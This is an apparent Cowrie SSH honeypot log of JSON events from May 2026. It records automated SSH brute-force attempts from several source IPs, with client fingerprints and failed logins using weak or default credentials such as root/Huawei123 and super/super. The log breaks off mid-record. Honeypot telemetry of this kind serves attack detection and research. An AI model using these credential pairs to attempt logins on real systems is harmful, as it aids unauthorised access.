{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:51.155526Z","src_ip":"79.3.96.178","session":"eda81cad9c2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1","message":"login attempt [root/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:51.706977Z","src_ip":"79.3.96.178","session":"eda81cad9c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:52.143570Z","src_ip":"103.122.221.179","session":"3780403eae73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:52.840344Z","src_ip":"79.3.96.178","session":"eda81cad9c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48924,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a0cf51388ae","protocol":"ssh","message":"New connection: 83.168.110.85:48924 (159.203.135.109:22) [session: 9a0cf51388ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:59.028775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:59.054595Z","src_ip":"83.168.110.85","session":"9a0cf51388ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:59.151459Z","src_ip":"83.168.110.85","session":"9a0cf51388ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:59.624997Z","src_ip":"83.168.110.85","session":"9a0cf51388ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:00.751791Z","src_ip":"83.168.110.85","session":"9a0cf51388ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34510,"dst_ip":"159.203.135.109","dst_port":22,"session":"3833ecfd5c06","protocol":"ssh","message":"New connection: 83.168.110.85:34510 (159.203.135.109:22) [session: 3833ecfd5c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:09.460996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:09.562054Z","src_ip":"83.168.110.85","session":"3833ecfd5c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:09.759141Z","src_ip":"83.168.110.85","session":"3833ecfd5c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:10.191945Z","src_ip":"83.168.110.85","session":"3833ecfd5c06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:11.316619Z","src_ip":"83.168.110.85","session":"3833ecfd5c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":60500,"dst_ip":"10.17.0.5","dst_port":22,"session":"86f0824b4edf","protocol":"ssh","message":"New connection: 80.66.85.226:60500 (10.17.0.5:22) [session: 86f0824b4edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:14.781287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:14.787536Z","src_ip":"80.66.85.226","session":"86f0824b4edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:14.879640Z","src_ip":"80.66.85.226","session":"86f0824b4edf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345a","message":"login attempt [root/a12345a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:15.149600Z","src_ip":"80.66.85.226","session":"86f0824b4edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:16.245995Z","src_ip":"80.66.85.226","session":"86f0824b4edf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53650,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1913c86e840","protocol":"ssh","message":"New connection: 83.168.110.85:53650 (159.203.135.109:22) [session: d1913c86e840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:20.071844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:20.232034Z","src_ip":"83.168.110.85","session":"d1913c86e840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:20.236909Z","src_ip":"83.168.110.85","session":"d1913c86e840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:20.799471Z","src_ip":"83.168.110.85","session":"d1913c86e840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:21.928547Z","src_ip":"83.168.110.85","session":"d1913c86e840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53746,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ce62eb4becc","protocol":"ssh","message":"New connection: 83.168.110.85:53746 (159.203.135.109:22) [session: 8ce62eb4becc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:30.735971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:30.740860Z","src_ip":"83.168.110.85","session":"8ce62eb4becc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:30.862125Z","src_ip":"83.168.110.85","session":"8ce62eb4becc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:31.226539Z","src_ip":"83.168.110.85","session":"8ce62eb4becc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:32.500701Z","src_ip":"83.168.110.85","session":"8ce62eb4becc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57914,"dst_ip":"159.203.135.109","dst_port":22,"session":"60bec41f0524","protocol":"ssh","message":"New connection: 83.168.110.85:57914 (159.203.135.109:22) [session: 60bec41f0524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:41.124936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:41.129611Z","src_ip":"83.168.110.85","session":"60bec41f0524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:41.251382Z","src_ip":"83.168.110.85","session":"60bec41f0524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:41.614793Z","src_ip":"83.168.110.85","session":"60bec41f0524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:42.738471Z","src_ip":"83.168.110.85","session":"60bec41f0524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55002,"dst_ip":"159.203.135.109","dst_port":22,"session":"83aa8534b48b","protocol":"ssh","message":"New connection: 83.168.110.85:55002 (159.203.135.109:22) [session: 83aa8534b48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:51.837861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:51.842099Z","src_ip":"83.168.110.85","session":"83aa8534b48b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:51.962811Z","src_ip":"83.168.110.85","session":"83aa8534b48b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:52.327894Z","src_ip":"83.168.110.85","session":"83aa8534b48b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:53.596534Z","src_ip":"83.168.110.85","session":"83aa8534b48b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.147.191","src_port":43080,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcd1347603a9","protocol":"ssh","message":"New connection: 45.148.147.191:43080 (10.17.0.5:22) [session: dcd1347603a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:54.708373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:54.713461Z","src_ip":"45.148.147.191","session":"dcd1347603a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","r